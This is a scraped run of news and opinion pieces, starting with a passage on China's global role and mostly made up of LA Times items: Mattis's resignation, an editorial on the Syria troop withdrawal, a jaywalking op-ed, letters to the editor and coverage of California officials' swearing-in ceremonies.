demonstrate the younger Chinese's growing wish of participating in global affairs against the backdrop of an ever opening China. This is in line with China's new role as a guardian of multinationalism. China has pledged support for "building a new type of international relations, an open global economy and a community with a shared future for mankind." The first China International Import Expo, held in Shanghai last month, was among the latest testimonies to China's spontaneous opening up and its opposition against unilateralism and protectionism. China is now actively participating in the world's governance and reforms. It has joined over 100 inter-governmental organizations and signed more than 300 international treaties. Its positive and constructive roles are indispensable in today's global cooperation from anti-terrorism to the battle against global warming. Secretary of Defense James N. Mattis told President Trump on Thursday that he will resign in February, handing the president a strongly worded two-page letter that in effect rebuked the president for his military policies and lack of respect for allies. Mattis, a retired four-star Marine general, went to the White House on Thursday afternoon to try to persuade Trump to reconsider his plan to pull all U.S. troops out Syria, a decision the secretary had strongly opposed before the president announced it on Twitter on Wednesday. When Trump refused to yield, Mattis quit in protest and handed over a resignation letter that made clear his disapproval of parts of the presidents military policy and behavior. A White House aide said the decision for Mattis to leave was made jointly. RELATED: Read Mattis letter of resignation Advertisement Mattis also was incensed that Trump next plans to withdraw up to half the 14,000 U.S. troops from Afghanistan, another move the secretary viewed as endangering an ally, a second official said. The extraordinary showdown in the Oval Office exposed a deep rift between the president and his Pentagon chief. No Cabinet secretary has resigned over a policy dispute in decades. Mattis looming departure ends a tenure at the Pentagon marked by repeated private clashes with the president that left the retired general steadily more isolated from the White House even as U.S. forces remain involved in wars overseas. With the government facing a possible shutdown on Saturday, the stock market in sharp decline, and allies and Congress anxious about U.S. military commitments overseas, the resignation sent shock waves through Washington. Mattis departure marks the latest shake-up of a Cabinet that appears in perpetual turmoil. Since the Nov. 6 midterm election, Trump has ousted Atty. Gen. Jeff Sessions, pushed out Chief of Staff John F. Kelly and accepted the resignation of Interior Secretary Ryan Zinke. Other top officials are also said to be on the exit ramp. Mattis resignation letter, which was released by the Pentagon, was blunt. He staunchly defended U.S. military alliances, such as NATO, which Trump has threatened to abandon and repeatedly attacked as a poor deal for taxpayers. One core belief I have always had is that our strength as a nation is inextricably linked with our unique and comprehensive system of alliances and partnerships, Mattis wrote. While the U.S. remains the indispensable nation in the free world, we cannot protect our interests or serve that role effectively without maintaining strong alliances and showing respect to those allies, he added. Because you have the right to have a Secretary of Defense whose views are better aligned with yours on these and other subjects, I believe it is right for me to step down from my position. Mattis said he would stay at the Pentagon until Feb. 28, to allow time for a successor to be nominated and confirmed by the Senate. A senior U.S. official familiar with Mattis thinking said the Pentagon chief and the president were too far apart on a host of issues, including Trumps willingness to abandon U.S.-backed Kurdish fighters in Syria who now may be targeted by Turkey. Mattis also was bothered by Trumps chaotic decision-making, with major national security course changes made abruptly and sometimes without formal consultation with his advisors. Mattis chafed at Trumps decision to send nearly 6,000 active-duty troops to the Mexico border days before the midterm election. He kept a tight leash on the operation, the official said, even as Trump and White House aides pressed for expanding the military mission to aid the Border Patrol. The official spoke on condition of anonymity to describe private conversations. Possible choices to replace Mattis could include Sen. Tom Cotton (R-Ark.) and Deputy Defense Secretary Patrick M. Shanahan. But it may be difficult to find a new Pentagon chief who has Trumps ear and the kind of support Mattis has had in Congress. While I understand his reluctance to continue to serve in an administration that ignores his expertise, Im unsure who if anyone will be able to replace his measured, thoughtful approach in these important conversations, Sen. Angus King (I-Maine) said. Members of Congress from both parties responded with praise for Mattis decades of service and some expressions of alarm. This is scary, said Sen. Mark R. Warner (D-Va.), vice chairman of the Senate Intelligence Committee. Secretary Mattis has been an island of stability amidst the chaos of the Trump administration. He will not be easy to replace, tweeted Sen Marco Rubio (R-Fla.). For the sake of our national security I hope his decision to resign was motivated solely by a desire to enjoy a well deserved retirement. Senate Majority Leader Mitch McConnell (R-Ky.) said he was particularly distressed that Mattis was resigning due to sharp differences with the president on ... key aspects of Americas global leadership. He urged Trump to select a replacement who shares Mattis understanding of these vital principles. House Democratic leader Nancy Pelosi said she was shaken by the news. This is a very sad day for our country, she told reporters at the Capitol. Old Marines never die, but they do resign after the President ignores their advice, betrays our allies, rewards our enemies, and puts the nations security at risk, Rep. Adam B. Schiff (D-Burbank) said in a statement. Turn out the lights when Mattis leaves; we will not see his like again while Trump remains in office. Trump relied heavily on senior military officers for his national security team when he took office in 2017 as the first U.S. president with neither government nor military experience. With Mattis on the way out, Trump will lose the entire group he once dubbed my generals, to their apparent discomfort. Kelly, another retired four-star Marine general, will leave this month as chief of staff after also serving as secretary of Homeland Security. Former national security advisors Michael Flynn and H.R. McMaster, both retired three-star Army generals, were forced out last year. Mattis departure had been rumored for months as signs accumulated that he was increasingly frustrated at Trumps impetuous style and penchant for blindsiding the Pentagon with major policy announcements. Trump had signaled his annoyance with Mattis in an interview on CBS 60 Minutes in October, saying, I think he is a sort of Democrat, if you want to know the truth. Mattis later had insisted to reporters that he had no plans to leave the administration and dismissed reports that he and Trump rarely spoke. But his influence seemed to wane, especially as Trump insisted after heavy Republican losses in the midterm election that he needed to fulfill campaign pledges to limit U.S. involvement overseas and focus on hot-button domestic issues such as border security. On Thursday, Trump announced his Defense chiefs departure in his typical manner, on Twitter, although with more praise than he has offered to many other departing officials. During Jims tenure, tremendous progress has been made, especially with respect to the purchase of new fighting equipment, Trump wrote. A new Secretary of Defense will be named shortly. I greatly thank Jim for his service! Mattis exit will leave Trump free to choose a new Pentagon chief more in line with his own unpredictable instincts and policies, and could portend more upheaval in national security decision-making. As Pentagon chief, Mattis won Trumps support early on for expanding the U.S. military presence in Afghanistan and for unleashing the military against Islamic State militants in Iraq and Syria. But as a civilian leader, Mattis has more often been the voice of military restraint. He often sought to reverse or slow-roll Trump decisions he opposed, a strategy that became less effective as time went on and as Trump began insisting the Pentagon follow his wishes. Mattis recommended against pulling out of the Obama-era nuclear deal with Iran, for example, arguing that it was working to constrain Tehrans nuclear ambitions. Trump withdrew from the agreement in May. Mattis also was at odds with the president over Trumps demand to bar transgender recruits from the military, his call to create a new armed service called the space force, his verbal attacks on NATO allies, and his decision to halt training exercises in South Korea. They also clashed over Trumps suggestions that he may cut U.S. troop levels in Europe and Asia, the presidents call to remove American troops from Syria, and the scale of U.S. airstrikes against the Syrian government after its use of chemical agents against civilians. Mattis tenure in office matched those of the previous three Pentagon chiefs, all of whom served around two years. But it was far briefer than two other recent Defense secretaries, Robert M. Gates, who served 4 years, and Donald H. Rumsfeld, who held the job for seven years. More than his predecessors, Mattis focused on military readiness and training, while mostly shunning the Pentagons chiefs usual role as spokesman and defender of the administrations national security decisions. His low profile seemed aimed at staying off Trumps radar and avoiding questions about where he and the president disagreed. He rarely gave formal press conferences or interviews. Instead he worked behind the scenes to reassure allies that the United States remained a reliable partner, despite Trumps attacks on the North Atlantic Treaty Organization military alliance and other pillars of U.S. defense strategy. Under Mattis, the Pentagon stepped up military sales and cooperation with Saudi Arabia and the United Arab Emirates, who have been waging a bloody war against Houthi rebels in Yemen. He also widened the U.S. fight against Islamic State and other militant groups in Somalia, Libya and other parts of Africa. He also pressed the Pentagon to shift back to a more conventional war fighting strategy, focused on countering Russia and China, rather than irregular warfare against militants across the globe, the focus of the post-9/11 period. Trump chose him to run the Pentagon only four years after Mattis had retired as a four-star general. He spent 44 years in the Marine Corps, rising to the head of U.S. Central Command, which oversees the wars in Afghanistan, Iraq and Syria. While in that post, Mattis sometimes had tense relations with President Obamas aides over his proposals to keep military pressure on Iran. Trump campaigned on the idea of unleashing the military to quickly defeat Islamic State militants in Iraq and Syria, and to end the long-running war in Afghanistan. His ideas resonated with a Pentagon that often chafed under tight restrictions imposed by the Obama administration. After Trump was elected, he was drawn to Mattis reputation as a fierce battlefield commander and a nickname, Mad Dog, that Mattis disliked. Mattis also was known for his colorful quips, such as his advice to Marines in Iraq to be polite, be professional, but have a plan to kill everybody you meet. Times staff writers Noah Bierman, Eli Stokols, Sarah D. Wire, David Willman and Jennifer Haberkorn contributed to this report. david.cloud@latimes.com Twitter: @davidcloudLAT President Trumps decision to rapidly remove 2,000 U.S. troops from Syria raises two questions: whether a precipitous withdrawal makes sense and whether this decision is the result of careful study and consultation with experts and U.S. allies in the region. The answer to both questions seems to be no. Not for the first time, a president prone to impulsiveness and improvisation has made an abrupt decision that could have drastic consequences unless more experienced officials are allowed to moderate its impact. We say this even though we have been sympathetic to the presidents opposition to an open-ended commitment of U.S. forces in Syria, where they were dispatched as part of the effort to uproot Islamic State, which even the intervention-averse Obama administration regarded as a unique danger requiring extraordinary action. We also have been skeptical of some of the arguments for such a prolonged presence, particularly the notion that keeping a couple of thousand U.S. troops will force the departure of Iranian forces and surrogates from Syria or otherwise counter Iranian influence. Trump is right to worry about leaving U.S. forces in Syria in perpetuity. But there are serious arguments for postponing the departure, and scant evidence that he gave them a fair hearing. Advertisement Trump is right to worry about leaving U.S. forces in Syria in perpetuity. But there are serious arguments for postponing the departure. First and foremost is the fact that remnants of Islamic State in Syria continue to pose a threat. Trump tweeted Wednesday: We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. But as Brett McGurk, Trumps representative to the Global Coalition to Defeat ISIS, said last week: Obviously, it would be reckless if we were just to say, Well, the physical caliphate is defeated, so we can just leave now. A second argument against immediate withdrawal of U.S. troops is the need to protect Kurdish fighters in Syria, who have been U.S. allies in the war against Islamic State. Turkey considers the Kurdish Peoples Protection Units (YPG) to be a terrorist group and an extension of the separatist Kurdistan Workers Party (PKK), which long has conducted an insurgency against the Turkish government. Last week Turkish President Recep Tayyip Erdogan threatened to launch a military operation against Kurdish fighters in northern Syria within a matter of days. Its possible that Trump was moved to make his withdrawal announcement by a fear that a Turkish incursion would put U.S. forces in harms way. But the continued presence of U.S. troops so far has been an insurance policy against action by Turkey while the U.S. explores the creation of a buffer zone between YPG fighters and the Turkish border. On Monday, James F. Jeffrey, the State Departments special representative for Syria engagement, challenged a claim by Erdogan that Trump had reacted positively to the idea of a Turkish offensive against YPG forces. We think that any offensive into northeast Syria by anyone is a bad idea, Jeffrey said. But the withdrawal announced by Trump could embolden Turkey to suspect that an attack on the Kurds wouldnt bring much of a U.S. protest. An overly hasty withdrawal also makes it less likely that the Kurds interests will be protected in any new political arrangement in Syria, assuming Assad is amenable to international efforts to find a political solution to Syrias civil war. Enter the Fray: First takes on the news of the minute from L.A. Times Opinion In explaining Trumps decision, administration officials insisted that the campaign against Islamic State would continue. White House Press Secretary Sarah Huckabee Sanders asserted that the U.S. and its allies will continue to work together to deny radical Islamist terrorists territory, funding, support and any means of infiltrating our borders. A senior administration official suggested that no one should have been surprised by Wednesdays announcement, because Trump had been consistent about this topic going back to his campaign. Perhaps, but the decision was reportedly made over the objections of Pentagon officials and came as a surprise to Congress and, it seems likely, to some members of the administration. Sen. Bob Corker (R-Tenn.), the chairman of the Senate Foreign Relations Committee, told reporters that the president just woke up and made the decision. Sen. Lindsey Graham (R-S.C.) said: A lot of us were blindsided. It now falls to administration officials to rationalize a consequential decision that seems to have been made on the spur of the moment. The wisdom of Trumps decision aside, this is not how policy should be made. Follow the Opinion section on Twitter @latimesopinionand Facebook The Los Angeles Police Department announced a Pedestrian Safety Initiative last month, intended to reduce the citys high rate of pedestrian traffic deaths. When traffic officers catch jaywalkers, they will offer them reflector vests and LED clip-on lights instead of tickets. As an inveterate and lifelong jaywalker myself, I want to take this opportunity to express my gratitude. With a reflector vest or clip-on light, Ill be able to cross streets anywhere with impunity, secure in the knowledge that I am visible to whatever vehicles might approach. Instead of a ticket, Ill have the jaywalkers equivalent of a permanent Get Out of Jail Free card. Im joking, of course, but not so much. Vests and LED lights, after all, wont deter or even shame jaywalkers. Theyll only encourage us. Advertisement Defensive walking? That isnt the antidote to 107 pedestrian deaths. I grew up dodging traffic. When I was a kid in Manhattan, my friends and I used to play an urbanized version of the Running Bases game: waiting for a break on one of the boroughs broad avenues, then dashing across all lanes as fast as we could. The reward was an adrenaline rush, heartbeat high in my chest. In New York, jaywalking is part of the culture; no one waits for the light or goes to the corner. Shortly after I moved to Los Angeles, in the early 1990s, I jaywalked across an empty street downtown, only to be derided by a woman who had been standing on the curb beside me: Oh, she called out. Were playing by New York rules today. I now live in Mid-City, not far from a major boulevard that has no traffic light or crosswalk on my corner. I dart across it several times a week. I do this not for the adrenaline rush but convenience. If there were a legal crossing, I would use it. The nearest crosswalk, however, is blocks away. This points up my problem with the LAPDs initiative: It puts the onus for a safer, better pedestrian experience solely on the walker, and lets drivers and the city off the hook. Drivers are constantly bigfooting walkers territory cutting us off in crosswalks or speeding along residential streets. And just try getting a traffic light or a stop sign installed at an intersection that could be lethal for pedestrians or bicyclists. Neighborhood activists can attest to the herculean effort involved. If someone is jaywalking or outside crosswalks according to the LAPD chances are good there should be a protected crosswalk there, Emilia Crotty, executive director of Los Angeles Walks, an advocacy group for pedestrians, told LAist. The problem is particularly acute in neighborhoods the Los Angeles Department of Transportation refers to as underserved communities. According to the website for the citys Vision Zero project, which seeks to eliminate all traffic deaths in Los Angeles by 2025, 65% of all deaths and severe injuries involving people walking occur on just 6% of our streets. It should come as no surprise that the majority of these streets can be found in downtown, South Los Angeles, East Hollywood, Koreatown. This year, pedestrians have accounted for 107 of the 200 or so traffic fatalities in the city, despite being involved in only a small percentage of accidents. Many of those killed, LAPD Chief Michel Moore noted at the news conference announcing the Pedestrian Safety Initiative, were outside crosswalks. The numbers are as bad as those of any city in the United States. The initiative offers tips for what Moore calls defensive walking: Stay in crosswalks, and cross only when its safe. Stay off your phone while crossing. And if its dark, well theres always that reflective vest. Id certainly rather get a warning and a vest than a jaywalking ticket, which in Los Angeles can cost as much as $250. And, as the chief indicated at the news conference, we can be grateful to Farmers Insurance for funding 1,200 vests and 700 LED lights for officers to distribute. Still, defensive walking? That isnt the antidote to 107 pedestrian deaths. Enter the Fray: First takes on the news of the minute from L.A. Times Opinion Even if the street were entirely empty, of course, you couldnt be sure of a safe crossing, for a car could appear suddenly over the rise four blocks further on and be on and past you before you had taken a dozen breaths, Ray Bradbury wrote in his 1953 novel Fahrenheit 451, describing a dystopia in which, among other atrocities, drivers actively attempt to strike pedestrians for sport. Bradbury was an Angeleno, riding his bike and walking thoroughfares given over to cars; this is the landscape that inspired him. That sequence in Fahrenheit 451 might have occurred to him when he was trying to cross Pico, near Cheviot Hills (where he lived), or Wilshire Boulevard (an incident while he walked there led to his 1950 short story The Pedestrian) without hiking half a mile to a traffic light. Moore wants to open up a dialogue with pedestrians as our traffic officers move about the city. Its a lovely thought. But to make over Los Angeles for walkers requires that drivers lose their false belief that they own the road. Not to mention paying for more lights and crosswalks to complement our vests and LEDs. David L. Ulin is a contributing writer to Opinion. Follow the Opinion section on Twitter @latimesopinionand Facebook To the editor: As I sit and try to understand how and when we actually became a culture of cruelty, as described by former U.S. Border Patrol Agent Francisco Cantu, I cant help but be moved by the thought of a child who, when told by her father they were making the arduous journey to the United States, was by all accounts elated. At some point along the way from Guatemala to the U.S., she might have even thought of her December arrival as a long-awaited Christmas gift. I look at the picture of 7-year-old Jakelin Amei Rosmery Caal Maquin and my heart breaks. Not only did that gift not materialize the way she must have hoped, it ended her life. Kenneth A. Hughes, Palm Desert Advertisement .. To the editor: Cantu all but blames the Border Patrol for this girls death. However, this was refuted in an earlier report in the L.A. Times that stated, Like many migrants who die of dehydration, the girl probably needed water long before her group made contact with the Border Patrol. The Times went on to say that the girls father had signed a form when he was first taken into custody that declared that neither he nor his daughter was sick. In America, any father who would drag his young daughter on a grueling trek through treacherous terrain over several days without water would be suspected of child endangerment, and the child would be placed in protective custody. Jim Redhead, San Diego .. To the editor: I give Cantu credit for his compassion for the human suffering he encountered in his short time as a Border Patrol agent. I would hope that all agents exhibit the same sensitivity and that they would be trained to treat migrants detained with human kindness. However, I was struck by the idea that efforts to deter migrants have forced them to cross in remote and dangerous areas. Isnt that what our Border Patrols are supposed to do patrol the borders? Marty Wilson, Whittier Follow the Opinion section on Twitter @latimesopinion and Facebook To the editor: Your front-page news analysis of Harvey Weinsteins upcoming court hearing in New York seems unfair to any defendant in a criminal case who seeks to defend himself by attempting to prove that the allegations of criminal misconduct made against him are factually untrue. If there was evidence in the possession of the prosecution team in this case that the lead accuser told a witness that the sexual contact she had with Weinstein was consensual and that evidence was never presented to the grand jury and instead suppressed by the lead detective in the case, that is not merely an unreliable witness as you describe. If the emails kept from the grand jury relating to the other remaining complaining witness actually reveal that just a few hours after she now claims she was raped she was making arrangements to go to a private movie screening being personally hosted by Weinstein, revealing that evidence cannot be fairly described as attacking the witness. Your readers deserve to be reminded that there is no other kind of criminal accusation that requires only the corroboration of the mere words of the accuser. It was the Manhattan district attorney, not the defense, who disclosed and targeted the misconduct of the New York Police Department in this case. Advertisement Your article contains a series of characterizations of Weinsteins defense as being somehow scorched-earth or alternatively repeated attacks on Weinsteins accusers, which ignores the actual basis for dismissal in Weinsteins case and reads instead more like an editorial than a news article. Lisa M. Wayne, Denver The writer is an attorney. Follow the Opinion section on Twitter @latimesopinion and Facebook To the editor: This op-ed article by Nik Karalis and James Sanders gushes over the possibility of housing for 750,000 new inhabitants in Los Angeles if changes in transportation require fewer parking lots. It ignores the possibility that land for housing will not be L.A.s major problem in the future. The problems will be water, followed by sewage for all those toilets and landscaping, electricity for summer air conditioning, and natural gas for winter heating for all those homes and businesses. Another recent article in the L.A. Times discussed how the reduction in Sierra Nevada snowpack due to global warming will reduce summer water supply by as much as 54% in the next 20 to 40 years, and 79% by 2100. Furthermore, that water supply will peak earlier in the year, meaning our reservoirs will not have the capacity to store it. In addition, Colorado River flow has been decreasing, and the other states that draw water from the river are growing more assertive of their rights. Advertisement David Fink, Los Angeles .. To the editor: The writers are delusional. Southern California residents will never give up their cars because they are a necessary part of our lives and we like them. Options listed like bikes, scooters, rail and buses have not been working, nor are they very practical. What, did these authors not read the L.A. Times own articles on decreasing transit ridership? As the writers say, eliminating parking lots will free up space to build housing for about 750,000 more people. This would give us more of what we do not need traffic and misery. Los Angeles is not New York. Georgia Jessup, Santa Monica Follow the Opinion section on Twitter @latimesopinion and Facebook To the editor: My wife needed a kidney years ago. Luckily, I was a decent match. (Since lawmakers now agree on protecting people with preexisting conditions, heres how you do it, Dec. 17) After her recovery period, she considered a job offer that would strip us of our family medical plan. She contacted Blue Cross to get a quote for coverage just for me, as she was on Medicare. This is where the guess how much the premiums on me would be fun starts. But we didnt even get that far. Blue Cross told us it would not be able to provide insurance coverage. We discovered after the fact that being rejected for insurance was not unusual for organ donors. Of course, my wife stayed at the job that provided healthcare for me, and her kidney has been a champ, only now winding down, starting the search for a new one. Advertisement There is a single word for the Republican effort to dismantle the Affordable Care Act evil. All of the maneuvering to change the law for changes sake makes our healthcare system less viable. Greg Hilfman, Topanga .. To the editor: I start with the premise that we should provide quality, affordable healthcare for all. Given that, using traditional Medicare as a model would fail. For as many years as I can remember, the trustees of the Medicare and Social Security trust funds have been asking for Congress to address shortfalls sooner rather than later. A better model would be Medicare Advantage for All. This would allow beneficiaries to select an insurer (contracted with Medicare) with premiums paid by Medicare. Everybody who wants a fee for service plan would pay a surcharge. This way, the market would set reimbursement rates. To further expand the risk pool, the employer-paid premiums could be taxed as income to the beneficiary and non-deductible by the employer. The revenue raised by these changes would go toward the cost of the program. Alas, that would take leadership. Kevin Minihan, Los Angeles .. To the editor: Healthcare or more accurately, our system of paying for it is complicated only because insurance companies make fortunes out of it. They pay themselves lavishly and buy politicians with whats left over. Everyone knows that the greatest return on investment in America comes from purchasing politicians. Other advanced nations have solved the healthcare problem. We havent, and not because we are dumber or more complicated than other countries are, but because insurance company money and politicians prevent the adoption of single-payer universal healthcare. Chuck Almdale, North Hills Follow the Opinion section on Twitter @latimesopinion and Facebook Newsoms budget proposes $3 million for Alzheimers research, brain task force By Melody Gutierrez Amyloid plaques, shown here in human brains, are a hallmark of Alzheimers disease. (UCLA School of Medicine) Gov. Gavin Newsom will call for the creation of a brain health task force and dedicate $3 million annually from the states general fund to Alzheimers disease research in the budget proposal he will release Thursday, a source close to the administration said. The money for Alzheimers research would target the new grants at understanding why the disease is more prevalent in women and people of color. Former California first lady and Alzheimers activist Maria Shriver pushed for the funding to be included in the state budget. Shriver said in a statement Wednesday that the funding would make California the first state to make understanding our brains a priority. The states former first lady, whose late father Sargent Shriver was diagnosed with Alzheimers, founded the Womens Alzheimers Movement, an advocacy group raising awareness about womens increased risk for developing the disease. In 2011, she wrote a comprehensive assessment on the disease, to which Newsom then mayor of San Francisco contributed a portion called What one city is doing. This is personal to me, just like it is to millions of California families, Shriver said. Alzheimers is one of the largest medical, social and economic crises in our state, and of our time. I am so proud that, once again, California is leading the way. Wiping out Alzheimers is going to require bold thinking, and there is no doubt in my mind that California is home to bold thinkers who can make this happen. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Gov. Gavin Newsom orders reinvention of troubled California DMV By Patrick McGreevy A line of people stretches around the South L.A. location of a California Department of Motor Vehicles Office on Aug. 7. (Kent Nishimura / Los Angeles Times) Gov. Gavin Newsom on Wednesday ordered an overhaul of the California Department of Motor Vehicles, which has been plagued by hours-long wait times at field offices, computer crashes and voter registration errors involving tens of thousands of customers. Just a few days after taking office, Newsom appointed a top advisor to a new DMV Reinvention Strike Team to revamp the beleaguered agency over the next six months. By any metric, California DMV has been chronically mismanaged and failed in its fundamental mission to the state customers it serves and the state workers it employs, Newsom said in a statement, adding Its time for a reinvention. The governor appointed state Government Operations Agency Secretary Marybel Batjer to lead the strike team with a goal of modernizing the agency and enacting changes that improve customer satisfaction, employee performance and transparency. Newsom also ordered an accelerated review of initial findings of an ongoing audit ordered last year by Gov. Jerry Brown. The action was welcomed by lawmakers who have been critical of the DMV, including Assemblyman Vince Fong (R-Bakersfield). The egregious management failures of the DMV have been self-evident, which is why I have been calling for new leadership and a comprehensive independent audit of this troubled state agency over and over again as the problems grew significantly worse, Fong said. Last summer, Californians seeking new driver licenses complained of wait times of four to six hours at DMV offices, which the agency blamed partly on snafus caused by a rush of people trying to get Real IDs, a new identification card design required for airline passengers starting in late 2020. Delays were also blamed on computer crashes at DMV offices as the agency struggled to update its aging automation systems. The DMV also admitted that there were an estimated 23,000 errors as people either were unknowingly registered to vote or mistakes were made in their registration status as part of the states new motor voter program. The agency registered to vote as many as 1,500 people with legal U.S. residency but no citizenship. Last month, DMV Director Jean Shiomoto retired from the agency. Legislators were angered earlier this week when the DMV said it needed an additional $40 million to prevent the return of long lines at its field offices. In addition, the agency has been under fire for issuing driver licenses in the last year that do not comply with the federal Real ID standards requiring two forms of identification by applicants. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print California police unions are preparing to battle new transparency law in the courtroom By Maya Lau Just as a landmark police transparency law is going into effect, some California police agencies are shredding internal affairs documents and law enforcement unions are rushing to block the information from being released. The new law, which begins to unwind Californias strictest-in-the-nation protections over the secrecy of law enforcement records, opens to the public internal investigations of officer shootings and other major uses of force, along with confirmed cases of sexual assault and lying while on duty. But the lawsuits and records destruction, which began even before the law took effect Jan. 1, could tie up the release of information for months or years, and in some instances, prevent it from ever being disclosed. The fact that police unions are challenging this law is on some level not surprising, said Peter Bibring, director of police practices at the American Civil Liberties Union of Southern California, one of the principal supporters of the new law. They have a long history of fighting tooth and nail against transparency. Read More Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Secretary of State Alex Padilla begins second term with challenge to ensure every Californian is counted By Jazmine Ulloa Secretary of State Alex Padilla takes the oath of office as his family stands by his side on Monday in Sacramento. (Jazmine Ulloa / Los Angeles Times) Secretary of State Alex Padilla was sworn in for a second term on Monday, saying he would continue the battle to protect the right to vote at a time when voter suppression efforts, online disinformation campaigns and interference from foreign adversaries have polarized the public and threatened to undermine trust in U.S. elections. I am doubling down on our fight here in Sacramento and in Washington, D.C., to defend our democracy, he said. Working on the front lines with so many of you, I know that our collective resolve has never been stronger. But the loudest applause came when Padilla promised to fight back against the Trump administrations changes to the U.S. census, saying he will ensure every Californian gets counted. Padilla, a former state senator and Los Angeles City Council member from the San Fernando Valley, led the cause for a new motor voter registration law in 2015, and a new system for online business registrations. But the programs have had experienced problems: More than 23,000 Californians were registered to vote incorrectly by the state DMV, the agency reported last year. On Monday, Padilla said he would continue to push back against false claims of voter fraud in California and pointed to the states voter turnout as proof that his office was involving more people in the democratic process, a promise he made when he was first sworn in four years ago. More than 12.7 million voters cast ballots in the Nov. 6 midterm election, representing roughly 65% of the states registered voters, the highest number of any midterm election since 1982, according to state certified results. I made that promise based on a shared belief that we are a stronger democracy and a better California when we hear all voices from all corners of California, and when those voices are not just heard but counted, Padilla said. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement Ricardo Lara, Californias first statewide officeholder to come out as gay, sworn in as insurance commissioner Ricardo Lara on the floor of the state Senate in 2016. (Gary Coronado / Los Angeles Times) Ricardo Lara took the oath of office as California insurance commissioner on Monday, pledging action to boost healthcare coverage and combat climate change. Lara, a Democrat from Bell Gardens, is the first elected statewide officeholder in California who has come out as gay. He began his speech in downtown Sacramento by thanking LGBTQ leaders who came before him and celebrated the occasion. Today, because of you, weve shattered the pink ceiling, Lara said. In his inaugural speech, Lara announced the creation of an executive position in his office to address climate change. There is no other industry that has the necessary expertise to ensure that California is prepared to mitigate and reduce risk to our communities and our environment, Lara said. Our planet cant wait. Im ready, and I hope you are too. Lara served as a state legislator and in 2017 introduced a bill to create a single-payer healthcare system in the state. He promised to work with new Gov. Gavin Newsom to expand coverage across California. Lara was sworn in by retired U.S. District Judge Vaughn Walker, who declared unconstitutional Californias Proposition 8 gay marriage ban. State Sen. President Pro Tem Toni Atkins (D-San Diego) was on hand for the ceremony along with multiple other state lawmakers. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print New California Lt. Gov. Eleni Kounalakis says she will help expand access to universities in the state New Lt. Gov. Eleni Kounalakis, center, is shown in June talking with attendees at the Power to the Polls rally in Sacramento. (Rich Pedroncelli / Associated Press) More Californians should be given access to public universities, Eleni Kounalakis said as she took the oath of office Monday to become the states first woman elected lieutenant governor. Kounalakis was given the oath of office by Gov. Gavin Newsom, her predecessor in the job, who pledged they would work together. As lieutenant governor, Kounalakis serves on the University of California Board of Regents and the California State University Board of Trustees, she noted in a speech at her swearing-in ceremony at the main Sacramento Library. In that role, she said, she will be committed to expanding access to affordable public higher education here in our state. Its wise, its smart and it is the best way to address our rapidly changing digital economy. Kounalakis is former president of a development company founded by her father, Angelo Tsakopoulos, and served during the Obama administration as the U.S. ambassador to Hungary. In November, she won her first run for statewide office. Also attending the ceremony were House Speaker Nancy Pelosi and former Michigan Gov. Jennifer Granholm. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print California meets Dutch Newsom, who steals the show at his fathers inauguration By Taryn Luna Gov. Gavin Newsom gives his inaugural address while holding his youngest son, Dutch. (Kent Nishimura / Los Angeles Times) In the California political world, all eyes were on Gov. Gavin Newsom on Monday until his 2-year-old son stole the show. Dutch, the youngest of four children in the Newsom brood, climbed onstage in the middle of his fathers inaugural address in a tent outside the Capitol on Monday. The unplanned moment saw the 51-year-old governors big day interrupted by the toddler, bringing levity to the ceremony. Newsom was recounting Gov. Jerry Browns last inaugural speech and reference to the Sermon on the Mount, a biblical story about two men who built separate homes on sand and rock, when Dutch approached his father, a pacifier in his mouth and blanket in hand. Now more than ever we Californians know how much a house matters and children matter, Newsom said, improvising as he scooped the boy into his arms. The governor kissed Dutch on the cheek and held him for several minutes as he continued with the speech. This is exactly how it was scripted, Newsom joked. Newsom eventually put his child down and Dutch walked to the edge of the stage before retreating behind the podium to hide from his mother, First Lady Jennifer Siebel Newsom. The crowd roared. Siebel Newsom was able to briefly divert her son only for him to return to the stage minutes later. She grabbed him again and this time, the crying toddler did not reemerge. When fires strikes, when kids cry and the earth shakes, well be there for each other, Newsom said. Los Angeles Mayor Eric Garcetti, who said the moment humanized Newsom, threw cold water on any theories that Dutchs cameo was planned. No, I know it was not, Garcetti said with a laugh after Newsoms speech concluded. I could see that look of absolute abject terror [on Newsoms face]. Weve all been there. Kids always think its about themselves and theyve proved it. California Assembly Speaker Anthony Rendon (D-Lakewood) agreed. I worked in early childhood education for 20 years and theres no way you can ever get a child to do anything when you want them to do it, Rendon said. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Fiona Ma takes oath as Californias new treasurer By Liam Dillon State Treasurer Fiona Ma. Fiona Ma took the oath of office in Sacramento on Monday as the states 34th treasurer, promising to boost Californias economy. Ma previously served on the San Francisco Board of Supervisors, in the state Assembly and on the California Board of Equalization. I want to thank everyone for entrusting me with this important job. I understand my role here as your state treasurer is to build that financial wall around California so that we will remain the fifth-largest economy, Ma said in brief remarks. That is my promise to you. California Supreme Court Chief Justice Tani G. Cantil-Sakauye administered the oath to Ma. Following the ceremony, Ma held an ice cream social for guests. On Wednesday, she will host a public event in San Francisco to celebrate her swearing-in. State Treasurer Fiona Ma takes the oath of office. (Liam Dillon / Los Angeles Times) Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement Expectations are high for newly sworn-in state schools chief Tony Thurmond Tony Thurmond shakes hands with retired Alameda County Superior Court Judge Gordon Baranco after taking the oath of office. (Melody Gutierrez / Los Angeles Times) Tony Thurmond took the oath of office as Californias state superintendent of public schools on Monday, promising a labor-friendly agenda before the teachers, students and Democratic officials who filled an auditorium at McClatchy High School in Sacramento to watch him being sworn in. We cant close the achievement gap without a great teacher at the head of every class, Thurmond said Monday to applause. We have to make sure we provide quality compensation and support to our teachers and our classified staff and all the educators who support our kids. Thurmond, a Bay Area Democrat who served in the state Assembly, won a hotly contested and expensive race with the help of labor leaders against charter school executive Marshall Tuck. The race took 